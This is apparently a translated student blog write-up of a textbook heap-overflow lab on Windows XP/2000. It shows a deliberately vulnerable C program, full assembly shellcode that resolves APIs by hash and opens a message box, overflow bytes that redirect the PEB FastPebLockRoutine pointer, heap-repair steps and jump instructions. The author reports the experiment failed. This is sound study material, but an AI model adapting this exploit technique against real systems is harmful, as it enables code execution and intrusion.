Heap overflow code implantation sniper RtlEnterCriticalSection() function pointer

Code

#include <windows.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90……";
int main()
{
    
    
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3 //used to break process
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
} 

The PEB offsets 0x20 and 0x24 respectively have pointers to the two functions FastPebLockRoutine and FastPebUnlockRoutine. These two functions correspond to the locking and unlocking of the function. When multithreading, the thread data protection Operation, plus FastPebLockRoutine lock, this piece of data can only be operated on by one thread at the same time, if you want another thread to use this piece of data, you must use FastPebUnlockRoutine to unlock.
So this time we intend to make the program call Exitprocess through the exception of the program heap, and these two functions will also be called when Exitprocess is called, so we can play a hijacking role by modifying the pointers of these two functions.
h1 requested 200 bytes of space from the heap. The upper limit of memcpy was incorrectly written as 0x200, which is actually 512 bytes, so overflow will occur. Overwrite the empty table pointer in the header of the tail block with a forged pointer. When h2 is allocated, it will cause a DWORD SHOOT. The RtlEnterCriticalSection() function pointer at 0x7FFDF020 is directly modified to the position of the shellcode. After the DWORD SHOOT is over, the heap overflow causes an exception, and finally ExitProcess() will be called to end the process. ExitProcess() needs to call the critical section function to synchronize threads when ending the process, but it takes out the pointer to the shellcode from the PEB, so the shellcode is executed.

+0x020 FastPebLockRoutine : //PEB加锁
+0x024 FastPebUnlockRoutine : //解锁

Purpose

Simple implementation of sniper RtlEnterCriticalSection() function pointer

Experiment preparation

Environment: windows xp
compiler: vc++
debugger: OD

experiment procedure

1. First write a shellcode, which is roughly the same as the previous pop-up window shellcode. Then fill up the 200 bytes of space, and then overflow, replace the empty table pointer of the next tail block, and change the forward pointer to shellcode The starting address of the backward pointer is changed to FastPebLockRoutine. This is equivalent to calling your shellcode when the program calls this function.
Insert picture description here

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop            //填充
cld            //使DF标志位复位  
push 0x1E380A6A    
push 0x4FD18963
push 0x0C917432   //保存MassageBox,ExitProcess,LoadLibrary的hash值
mov esi,esp   //堆栈指针放入esi寄存器
lea edi,dword ptr ds:[esi-0xC] 

xor ebx,ebx
mov bh,0x4
sub esp,ebx

mov bx,0x3233
push ebx
push 0x72657375
push esp
xor edx,edx//user32

mov ebx,dword ptr fs:[edx+0x30]
mov ecx,dword ptr ds:[ebx+0xC]
mov ecx,dword ptr ds:[ecx+0x1C]
mov ecx,dword ptr ds:[ecx]
mov ebp,dword ptr ds:[ecx+0x8]//kernel32地址

lods dword ptr ds:[esi]
cmp eax,0x1E380A6A//比较MassageBox的hash值
jnz short 003A06E4
xchg eax,ebp
call dword ptr ds:[edi-0x8]//LoadLibrary(user32)
xchg eax,ebp

pushad
mov eax,dword ptr ss:[ebp+0x3C]//e_lfanew
mov ecx,dword ptr ss:[ebp+eax+0x78]
add ecx,ebp
mov ebx,dword ptr ds:[ecx+0x20]
add ebx,ebp//找到位于里面的导出函数名称表
xor edi,edi

inc edi
mov esi,dword ptr ds:[ebx+edi*4]
add esi,ebp//遍历名称
cdq

movsx eax,byte ptr ds:[esi]
cmp al,ah
je short 003A070B
ror edx,0x7
add edx,eax
inc esi
jmp short 003A06FC//hash算法

cmp edx,dword ptr ss:[esp+0x1C]
jnz short 003A06F5
mov ebx,dword ptr ds:[ecx+0x24]
add ebx,ebp
mov di,word ptr ds:[ebx+edi*2]
mov ebx,dword ptr ds:[ecx+0x1C]
add ebx,ebp
add ebp,dword ptr ds:[ebx+edi*4]
xchg eax,ebp
pop edi
stos dword ptr es:[edi]
push edi
popad
cmp eax,0x1E380A6A
jnz short 003A06D7//找到函数地址

xor ebx,ebx
push ebx
push 0x74736577
push 0x6C696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call dword ptr ds:[edi-0x4]
push ebx
call dword ptr ds:[edi-0x8]//弹出窗口并退出
nop
nop
nop
nop
nop
nop
nop
nop
\x16\x01\x1A\x00\x00\x10\x00\x00// head of the free block
\x88\x06\x3a\x00//指向shellcode的开头
\x20\xf0\xfd\x7f//指向FastPebLockRoutine

2. But if you directly change the FastPebLockRoutine address, the function that calls this function in the shellcode will be useless, so modify the front of the shellcode. After calling the function and entering the shellcode, restore FastPebLockRoutine.
(In the end, the experiment was not successful. It should be a problem of the system mechanism. I changed the pointer of FastPebLockRoutine and there was no pop-up window. The standard experiment was actually carried out under windows 2k, and I was under xp. Change the world to the next 2k virtual machine and restart the whole time , It feels like the position of the FastPebLockRoutine pointer under windows xp has changed)

MOV EAX,7FFDF020 
MOV EBX,[7FFDF020]
MOV [EAX],EBX 

to sum up

Although it did not succeed this time. . The place of the function was not found at the end. But still understand the application of heap overflow.
Let's make a summary based on the simplicity of the book.
First, heap debugging should be divided into debugging state and normal state. Int 3 should be used to trigger the exception, and then the process can be attached. You cannot directly drag into od, or you can modify the detection value of the function of the debugger. For example, modify the return value of IsDebugPresent.
Also pay attention to the maintenance environment. For example, the modification of the FastPebLockRoutine pointer must be adjusted back, otherwise it will affect the following functions. Also, pay attention to the initialization of the environment at the beginning of the shellcode, otherwise some symbol flags may be affected. Jump.
In a heap overflow, sometimes it is necessary to repair the heap area that has been messed up by us. Usually, the simpler way to repair the heap area
includes the following steps.
(1) The total FreeSize of all free blocks in the heap area is stored at offset 0x28 in the heap area.
(2) Modify a larger block (or simply find a temporarily unused area to forge a block header) the two bytes that identify its own size (self size) into the total free block capacity of the heap area (TotalFreeSize) ).
(3) Set the flag bit of the block to 0x10 (last entry tail block).
(4) Point the forward and backward pointers of freelist[0] to this heap block.
This can make the entire heap area "look as if it has just been initialized" with only one large block, not only can continue to complete the allocation work, but also protect the existing data in the heap. (This method is too strong, equivalent to direct A new heap area
has been opened) It is also possible that shellcode faces the problem of address randomization. It is necessary to look for a springboard in the program like stack overflow using jmp esp positioning, because heap overflow generally "binds" shellcode to a function Yes, so you can use the following instructions to act as a springboard.

CALL DWORD PTR [EDI + 0x78]
CALL DWORD PTR [ESI+0x4C]
CALL DWORD PTR [EBP+0x74] 

(I love the cracked OD, I don’t know why nop can not F7, F8 after int 3 is interrupted. There is no way to observe the heap. You have to use the original OD to pop up abnormally to observe carefully. Next time the entire original OD slowly adjust again)

Guess you like

Origin blog.csdn.net/Misaka10046/article/details/108687282